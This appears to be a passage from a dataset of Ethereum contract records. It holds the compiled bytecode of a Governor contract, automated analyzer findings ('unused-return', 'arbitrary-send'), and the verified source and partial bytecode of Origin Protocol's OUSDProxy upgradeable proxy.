69063782d6fe1903390610f0b9043906119b0565b6040518363ffffffff1660e01b8152600401610f28929190612e9e565b60206040518083038186803b158015610f4057600080fd5b505afa158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f789190810190612365565b6001600160601b031611610f9e5760405162461bcd60e51b8152600401610829906130b1565b84518651148015610fb0575083518651145b8015610fbd575082518651145b610fd95760405162461bcd60e51b8152600401610829906130d1565b8551610ff75760405162461bcd60e51b815260040161082990613101565b6002548651111561101a5760405162461bcd60e51b8152600401610829906130e1565b336000908152600a6020526040902054801561109757600061103b826107f9565b9050600181600781111561104b57fe5b14156110695760405162461bcd60e51b815260040161082990613131565b600081600781111561107757fe5b14156110955760405162461bcd60e51b815260040161082990613111565b505b60006110a543600354611984565b905060006110b582600454611984565b60088054600101905590506110c8611b3c565b604051806101a001604052806008548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060096000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506040820151816002015560608201518160030190805190602001906111ab929190611bb1565b50608082015180516111c7916004840191602090910190611c16565b5060a082015180516111e3916005840191602090910190611c5d565b5060c082015180516111ff916006840191602090910190611cb6565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff0219169083151502179055509050508060000151600a600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516112e59998979695949392919061320f565b60405180910390a15193505050505b95945050505050565b6004611308826107f9565b600781111561131357fe5b146113305760405162461bcd60e51b8152600401610829906131e1565b60008181526009602090815260408083206005548251630d48571f60e31b8152925191949361138a9342936001600160a01b0390931692636a42b8f892600480840193919291829003018186803b15801561092757600080fd5b905060005b60038301548110156115325761152a8360030182815481106113ad57fe5b6000918252602090912001546004850180546001600160a01b0390921691849081106113d557fe5b90600052602060002001548560050184815481106113ef57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561147d5780601f106114525761010080835404028352916020019161147d565b820191906000526020600020905b81548152906001019060200180831161146057829003601f168201915b505050505086600601858154811061149157fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561151f5780601f106114f45761010080835404028352916020019161151f565b820191906000526020600020905b81548152906001019060200180831161150257829003601f168201915b5050505050866119dd565b60010161138f565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610bd6908590849061333d565b60405161055390612e85565b611580611d0f565b5060008281526009602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b60056115f2826107f9565b60078111156115fd57fe5b1461161a5760405162461bcd60e51b815260040161082990613141565b6000818152600960205260408120600b8101805461ff001916610100179055905b6003820154811015611770576005546004830180546001600160a01b0390921691630825f38f91908490811061166d57fe5b906000526020600020015484600301848154811061168757fe5b6000918252602090912001546004860180546001600160a01b0390921691869081106116af57fe5b90600052602060002001548660050186815481106116c957fe5b906000526020600020018760060187815481106116e257fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611711959493929190612f56565b6000604051808303818588803b15801561172a57600080fd5b505af115801561173e573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526117679190810190612240565b5060010161163b565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516117a09190612fe4565b60405180910390a15050565b6006546001600160a01b031681565b60016117c6836107f9565b60078111156117d157fe5b146117ee5760405162461bcd60e51b8152600401610829906131c1565b60008281526009602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156118375760405162461bcd60e51b8152600401610829906131a1565b600654600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe19161186d918a91600401612eb9565b60206040518083038186803b15801561188557600080fd5b505afa158015611899573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506118bd9190810190612365565b905083156118e6576118dc8360090154826001600160601b0316611984565b6009840155611903565b6118fd83600a0154826001600160601b0316611984565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611974908890889088908690612ec7565b60405180910390a1505050505050565b6000828201838110156119a95760405162461bcd60e51b815260040161082990613151565b9392505050565b6000828211156119d25760405162461bcd60e51b8152600401610829906131d1565b50900390565b465b90565b6005546040516001600160a01b039091169063f2b0653790611a0b9088908890889088908890602001612efc565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611a3d9190612fe4565b60206040518083038186803b158015611a5557600080fd5b505afa158015611a69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611a8d9190810190612204565b15611aaa5760405162461bcd60e51b815260040161082990613171565b600554604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611ae29088908890889088908890600401612efc565b602060405180830381600087803b158015611afc57600080fd5b505af1158015611b10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611b349190810190612222565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611c06579160200282015b82811115611c0657825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611bd1565b50611c12929150611d2f565b5090565b828054828255906000526020600020908101928215611c51579160200282015b82811115611c51578251825591602001919060010190611c36565b50611c12929150611d53565b828054828255906000526020600020908101928215611caa579160200282015b82811115611caa5782518051611c9a918491602090910190611d6d565b5091602001919060010190611c7d565b50611c12929150611dda565b828054828255906000526020600020908101928215611d03579160200282015b82811115611d035782518051611cf3918491602090910190611d6d565b5091602001919060010190611cd6565b50611c12929150611dfd565b604080516060810182526000808252602082018190529181019190915290565b6119da91905b80821115611c125780546001600160a01b0319168155600101611d35565b6119da91905b80821115611c125760008155600101611d59565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611dae57805160ff1916838001178555611c51565b82800160010185558215611c515791820182811115611c51578251825591602001919060010190611c36565b6119da91905b80821115611c12576000611df48282611e20565b50600101611de0565b6119da91905b80821115611c12576000611e178282611e20565b50600101611e03565b50805460018160011615610100020316600290046000825580601f10611e465750611e64565b601f016020900490600052602060002090810190611e649190611d53565b50565b80356115e181613486565b600082601f830112611e8357600080fd5b8135611e96611e9182613372565b61334b565b91508181835260208401935060208101905083856020840282011115611ebb57600080fd5b60005b83811015611ee75781611ed18882611e67565b8452506020928301929190910190600101611ebe565b5050505092915050565b600082601f830112611f0257600080fd5b8135611f10611e9182613372565b81815260209384019390925082018360005b83811015611ee75781358601611f388882612047565b8452506020928301929190910190600101611f22565b600082601f830112611f5f57600080fd5b8135611f6d611e9182613372565b81815260209384019390925082018360005b83811015611ee75781358601611f958882612047565b8452506020928301929190910190600101611f7f565b600082601f830112611fbc57600080fd5b8135611fca611e9182613372565b91508181835260208401935060208101905083856020840282011115611fef57600080fd5b60005b83811015611ee757816120058882612031565b8452506020928301929190910190600101611ff2565b80356115e18161349a565b80516115e18161349a565b80356115e1816134a3565b80516115e1816134a3565b600082601f83011261205857600080fd5b8135612066611e9182613393565b9150808252602083016020830185838301111561208257600080fd5b61208d83828461343a565b50505092915050565b600082601f8301126120a757600080fd5b81516120b5611e9182613393565b915080825260208301602083018583830111156120d157600080fd5b61208d838284613446565b80356115e1816134ac565b80516115e1816134b5565b60006020828403121561210457600080fd5b60006121108484611e67565b949350505050565b600080600080600060a0868803121561213057600080fd5b853567ffffffffffffffff81111561214757600080fd5b61215388828901611e72565b955050602086013567ffffffffffffffff81111561217057600080fd5b61217c88828901611fab565b945050604086013567ffffffffffffffff81111561219957600080fd5b6121a588828901611f4e565b935050606086013567ffffffffffffffff8111156121c257600080fd5b6121ce88828901611ef1565b925050608086013567ffffffffffffffff8111156121eb57600080fd5b6121f788828901612047565b9150509295509295909350565b60006020828403121561221657600080fd5b60006121108484612026565b60006020828403121561223457600080fd5b6000612110848461203c565b60006020828403121561225257600080fd5b815167ffffffffffffffff81111561226957600080fd5b61211084828501612096565b60006020828403121561228757600080fd5b60006121108484612031565b600080604083850312156122a657600080fd5b60006122b28585612031565b92505060206122c385828601611e67565b9150509250929050565b600080604083850312156122e057600080fd5b60006122ec8585612031565b92505060206122c38582860161201b565b600080600080600060a0868803121561231557600080fd5b60006123218888612031565b95505060206123328882890161201b565b9450506040612343888289016120dc565b935050606061235488828901612031565b92505060806121f788828901612031565b60006020828403121561237757600080fd5b600061211084846120e7565b600061238f83836123be565b505060200190565b60006119a98383612560565b600061238f8383612546565b6123b881613412565b82525050565b6123b8816133da565b60006123d2826133cd565b6123dc81856133d1565b93506123e7836133bb565b8060005b838110156124155781516123ff8882612383565b975061240a836133bb565b9250506001016123eb565b509495945050505050565b600061242b826133cd565b61243581856133d1565b935083602082028501612447856133bb565b8060005b8581101561248157848403895281516124648582612397565b945061246f836133bb565b60209a909a019992505060010161244b565b5091979650505050505050565b6000612499826133cd565b6124a381856133d1565b9350836020820285016124b5856133bb565b8060005b8581101561248157848403895281516124d28582612397565b94506124dd836133bb565b60209a909a01999250506001016124b9565b60006124fa826133cd565b61250481856133d1565b935061250f836133bb565b8060005b8381101561241557815161252788826123a3565b9750612532836133bb565b925050600101612513565b6123b8816133e5565b6123b8816119da565b6123b861255b826119da565b6119da565b600061256b826133cd565b61257581856133d1565b9350612585818560208601613446565b61258e81613472565b9093019392505050565b6000815460018116600081146125b557600181146125db5761261a565b607f60028304166125c681876133d1565b60ff198416815295505060208501925061261a565b600282046125e981876133d1565b95506125f4856133c1565b60005b82811015612613578154888201526001909101906020016125f7565b8701945050505b505092915050565b6123b881613419565b6123b881613424565b6000612641603a836133d1565b7f476f7665726e6f723a3a70726f706f73653a2070726f706f73657220766f746581527f732062656c6f772070726f706f73616c207468726573686f6c64000000000000602082015260400192915050565b60006126a06039836133d1565b7f476f7665726e6f723a3a5f5f6d6f7665477561726469616e736869703a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b60006126ff603f836133d1565b7f476f7665726e6f723a3a70726f706f73653a2070726f706f73616c2066756e6381527f74696f6e20696e666f726d6174696f6e206172697479206d69736d6174636800602082015260400192915050565b600061275e6023836133d1565b7f476f7665726e6f723a3a70726f706f73653a20746f6f206d616e7920616374698152626f6e7360e81b602082015260400192915050565b60006127a36031836133d1565b7f476f7665726e6f723a3a63616e63656c3a2063616e6e6f742063616e63656c20815270195e1958dd5d1959081c1c9bdc1bdcd85b607a1b602082015260400192915050565b60006127f660028361097a565b61190160f01b815260020192915050565b60006128146027836133d1565b7f476f7665726e6f723a3a70726f706f73653a206d7573742070726f7669646520815266616374696f6e7360c81b602082015260400192915050565b600061285d6054836133d1565b7f476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652070726f7081527f6f73616c207065722070726f706f7365722c20666f756e6420616e20616c726560208201527318591e481c195b991a5b99c81c1c9bdc1bdcd85b60621b604082015260600192915050565b60006128d96024836133d1565b7f476f7665726e6f723a3a73746174653a20696e76616c69642070726f706f73618152631b081a5960e21b602082015260400192915050565b600061291f6053836133d1565b7f476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652070726f7081527f6f73616c207065722070726f706f7365722c20666f756e6420616e20616c726560208201527218591e481858dd1a5d99481c1c9bdc1bdcd85b606a1b604082015260600192915050565b600061299a6040836133d1565b7f476f7665726e6f723a3a657865637574653a2070726f706f73616c2063616e2081527f6f6e6c7920626520657865637574656420696620697420697320717565756564602082015260400192915050565b60006129f96011836133d1565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612a2660438361097a565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612a9160278361097a565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612ada6031836133d1565b7f476f7665726e6f723a3a5f5f61626469636174653a2073656e646572206d75738152703a1031329033b7bb1033bab0b93234b0b760791b602082015260400192915050565b6000612b2d603f836133d1565b7f476f7665726e6f723a3a5f71756575654f725265766572743a2070726f706f7381527f616c20616374696f6e20616c7265616479207175657565642061742065746100602082015260400192915050565b6000612b8c6041836133d1565b7f476f7665726e6f723a3a5f5f6d6f7665477561726469616e736869703a206e6581527f7720677561726469616e2063616e6e6f742062652061646472657373207a65726020820152606f60f81b604082015260600192915050565b6000612bf56034836133d1565b7f476f7665726e6f723a3a5f5f61636365707441646d696e3a2073656e6465722081527336bab9ba1031329033b7bb1033bab0b93234b0b760611b602082015260400192915050565b6000612c4b6028836133d1565b7f476f7665726e6f723a3a5f63617374566f74653a20766f74657220616c726561815267191e481d9bdd195960c21b602082015260400192915050565b6000612c95602a836133d1565b7f476f7665726e6f723a3a63616e63656c3a2070726f706f7365722061626f7665815269081d1a1c995cda1bdb1960b21b602082015260400192915050565b6000612ce16025836133d1565b7f476f7665726e6f723a3a5f63617374566f74653a20766f74696e6720697320638152641b1bdcd95960da1b602082015260400192915050565b6000612d286015836133d1565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b6000612d59603f836133d1565b7f476f7665726e6f723a3a71756575653a2070726f706f73616c2063616e206f6e81527f6c79206265207175657565642069662069742069732073756363656564656400602082015260400192915050565b6000612db8602a836133d1565b7f476f7665726e6f723a3a63617374566f746542795369673a20696e76616c6964815269207369676e617475726560b01b602082015260400192915050565b80516060830190612e08848261253d565b506020820151612e1b602085018261253d565b506040820151610e556040850182612e40565b6123b881613400565b6123b88161342f565b6123b881613406565b6000612e54826127e9565b9150612e60828561254f565b602082019150612e70828461254f565b5060200192915050565b60006115e182612a19565b60006115e182612a84565b602081016115e182846123be565b60408101612eac82856123af565b6119a96020830184612546565b60408101612eac82856123be565b60808101612ed582876123be565b612ee26020830186612546565b612eef604083018561253d565b6112f46060830184612e37565b60a08101612f0a82886123be565b612f176020830187612546565b8181036040830152612f298186612560565b90508181036060830152612f3d8185612560565b9050612f4c6080830184612546565b9695505050505050565b60a08101612f6482886123be565b612f716020830187612546565b8181036040830152612f838186612598565b90508181036060830152612f3d8185612598565b60808082528101612fa881876123c7565b90508181036020830152612fbc81866124ef565b90508181036040830152612fd0818561248e565b90508181036060830152612f4c8184612420565b602081016115e18284612546565b608081016130008287612546565b61300d6020830186612546565b61301a6040830185612546565b6112f460608301846123be565b606081016130358286612546565b6130426020830185612546565b612110604083018461253d565b6080810161305d8287612546565b61306a6020830186612e2e565b6130776040830185612546565b6112f46060830184612546565b602081016115e18284612622565b602081016115e1828461262b565b602080825281016119a98184612560565b602080825281016115e181612634565b602080825281016115e181612693565b602080825281016115e1816126f2565b602080825281016115e181612751565b602080825281016115e181612796565b602080825281016115e181612807565b602080825281016115e181612850565b602080825281016115e1816128cc565b602080825281016115e181612912565b602080825281016115e18161298d565b602080825281016115e1816129ec565b602080825281016115e181612acd565b602080825281016115e181612b20565b602080825281016115e181612b7f565b602080825281016115e181612be8565b602080825281016115e181612c3e565b602080825281016115e181612c88565b602080825281016115e181612cd4565b602080825281016115e181612d1b565b602080825281016115e181612d4c565b602080825281016115e181612dab565b606081016115e18284612df7565b610120810161321e828c612546565b61322b602083018b6123af565b818103604083015261323d818a6123c7565b9050818103606083015261325181896124ef565b90508181036080830152613265818861248e565b905081810360a08301526132798187612420565b905061328860c0830186612546565b61329560e0830185612546565b8181036101008301526132a88184612560565b9b9a5050505050505050505050565b61012081016132c6828c612546565b6132d3602083018b6123be565b6132e0604083018a612546565b6132ed6060830189612546565b6132fa6080830188612546565b61330760a0830187612546565b61331460c0830186612546565b61332160e083018561253d565b61332f61010083018461253d565b9a9950505050505050505050565b60408101612eac8285612546565b60405181810167ffffffffffffffff8111828210171561336a57600080fd5b604052919050565b600067ffffffffffffffff82111561338957600080fd5b5060209081020190565b600067ffffffffffffffff8211156133aa57600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b60006115e1826133f4565b151590565b8061097a8161347c565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b60006115e1825b60006115e1826133da565b60006115e1826133ea565b60006115e182613406565b82818337506000910152565b60005b83811015613461578181015183820152602001613449565b83811115610e555750506000910152565b601f01601f191690565b60088110611e6457fe5b61348f816133da565b8114611e6457600080fd5b61348f816133e5565b61348f816119da565b61348f81613400565b61348f8161340656fea365627a7a72315820db16b4708a33120d2618c4881c0e43caac4ace481c878bb1dabf8d365a161cb16c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,385
0x2A8e1E676Ec238d8A992307B495b45B3fEAa5e86
/** *Submitted for verification at Etherscan.io on 2020-09-23 */ pragma solidity 0.5.11; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title OUSD Governable Contract * @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change * from owner to governor and renounce methods removed. Does not use * Context.sol like Ownable.sol does for simplification. * @author Origin Protocol Inc */ contract Governable { // Storage position of the owner and pendingOwner of the contract bytes32 private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a; //keccak256("OUSD.governor"); bytes32 private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db; //keccak256("OUSD.pending.governor"); event PendingGovernorshipTransfer( address indexed previousGovernor, address indexed newGovernor ); event GovernorshipTransferred( address indexed previousGovernor, address indexed newGovernor ); /** * @dev Initializes the contract setting the deployer as the initial Governor. */ constructor() internal { _setGovernor(msg.sender); emit GovernorshipTransferred(address(0), _governor()); } /** * @dev Returns the address of the current Governor. */ function governor() public view returns (address) { return _governor(); } function _governor() internal view returns (address governorOut) { bytes32 position = governorPosition; assembly { governorOut := sload(position) } } function _pendingGovernor() internal view returns (address pendingGovernor) { bytes32 position = pendingGovernorPosition; assembly { pendingGovernor := sload(position) } } /** * @dev Throws if called by any account other than the Governor. */ modifier onlyGovernor() { require(isGovernor(), "Caller is not the Governor"); _; } /** * @dev Returns true if the caller is the current Governor. */ function isGovernor() public view returns (bool) { return msg.sender == _governor(); } function _setGovernor(address newGovernor) internal { bytes32 position = governorPosition; assembly { sstore(position, newGovernor) } } function _setPendingGovernor(address newGovernor) internal { bytes32 position = pendingGovernorPosition; assembly { sstore(position, newGovernor) } } /** * @dev Transfers Governance of the contract to a new account (`newGovernor`). * Can only be called by the current Governor. Must be claimed for this to complete * @param _newGovernor Address of the new Governor */ function transferGovernance(address _newGovernor) external onlyGovernor { _setPendingGovernor(_newGovernor); emit PendingGovernorshipTransfer(_governor(), _newGovernor); } /** * @dev Claim Governance of the contract to a new account (`newGovernor`). * Can only be called by the new Governor. */ function claimGovernance() external { require( msg.sender == _pendingGovernor(), "Only the pending Governor can complete the claim" ); _changeGovernor(msg.sender); } /** * @dev Change Governance of the contract to a new account (`newGovernor`). * @param _newGovernor Address of the new Governor */ function _changeGovernor(address _newGovernor) internal { require(_newGovernor != address(0), "New Governor is address(0)"); emit GovernorshipTransferred(_governor(), _newGovernor); _setGovernor(_newGovernor); } } /** * @title BaseGovernedUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with our governor system * @author Origin Protocol Inc */ contract InitializeGovernedUpgradeabilityProxy is Governable, BaseUpgradeabilityProxy { /** * @dev Contract initializer with Governor enforcement * @param _logic Address of the initial implementation. * @param _initGovernor Address of the initial Governor. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize( address _logic, address _initGovernor, bytes memory _data ) public payable onlyGovernor { require(_implementation() == address(0)); assert( IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } _changeGovernor(_initGovernor); } /** * @return The address of the proxy admin/it's also the governor. */ function admin() external view returns (address) { return _governor(); } /** * @return The address of the implementation. */ function implementation() external view returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external onlyGovernor { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable onlyGovernor { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } } /** * @notice OUSDProxy delegates calls to a OUSD implementation */ contract OUSDProxy is InitializeGovernedUpgradeabilityProxy { }
0x6080604052600436106100865760003560e01c80635d36b190116100595780635d36b19014610228578063c7af33521461023f578063cf7a1d771461026e578063d38bfff414610369578063f851a440146103ba57610086565b80630c340a24146100905780633659cfe6146100e75780634f1ef286146101385780635c60da1b146101d1575b61008e610411565b005b34801561009c57600080fd5b506100a561042b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100f357600080fd5b506101366004803603602081101561010a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061043a565b005b6101cf6004803603604081101561014e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561018b57600080fd5b82018360208201111561019d57600080fd5b803590602001918460018302840111640100000000831117156101bf57600080fd5b90919293919293905050506104c0565b005b3480156101dd57600080fd5b506101e66105c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023457600080fd5b5061023d6105d6565b005b34801561024b57600080fd5b5061025461066c565b604051808215151515815260200191505060405180910390f35b6103676004803603606081101561028457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156102e157600080fd5b8201836020820111156102f357600080fd5b8035906020019184600183028401116401000000008311171561031557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506106a9565b005b34801561037557600080fd5b506103b86004803603602081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b0565b005b3480156103c657600080fd5b506103cf610997565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104196109a6565b6104296104246109a8565b6109d9565b565b60006104356109ff565b905090565b61044261066c565b6104b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b6104bd81610a30565b50565b6104c861066c565b61053a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b61054383610a30565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d80600081146105ae576040519150601f19603f3d011682016040523d82523d6000602084013e6105b3565b606091505b50509050806105c157600080fd5b50505050565b60006105d16109a8565b905090565b6105de610a7f565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610661576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180610cfa6030913960400191505060405180910390fd5b61066a33610ab0565b565b60006106766109ff565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6106b161066c565b610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166107436109a8565b73ffffffffffffffffffffffffffffffffffffffff161461076357600080fd5b600160405180807f656970313936372e70726f78792e696d706c656d656e746174696f6e00000000815250601c019050604051809103902060001c0360001b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b146107cd57fe5b6107d683610bc0565b6000815111156108a25760008373ffffffffffffffffffffffffffffffffffffffff16826040518082805190602001908083835b6020831061082d578051825260208201915060208101905060208303925061080a565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461088d576040519150601f19603f3d011682016040523d82523d6000602084013e610892565b606091505b50509050806108a057600080fd5b505b6108ab82610ab0565b505050565b6108b861066c565b61092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b61093381610c4d565b8073ffffffffffffffffffffffffffffffffffffffff166109526109ff565b73ffffffffffffffffffffffffffffffffffffffff167fa39cc5eb22d0f34d8beaefee8a3f17cc229c1a1d1ef87a5ad47313487b1c4f0d60405160405180910390a350565b60006109a16109ff565b905090565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e80600081146109fa573d6000f35b3d6000fd5b6000807f7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a60001b9050805491505090565b610a3981610bc0565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b6000807f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db60001b9050805491505090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e65772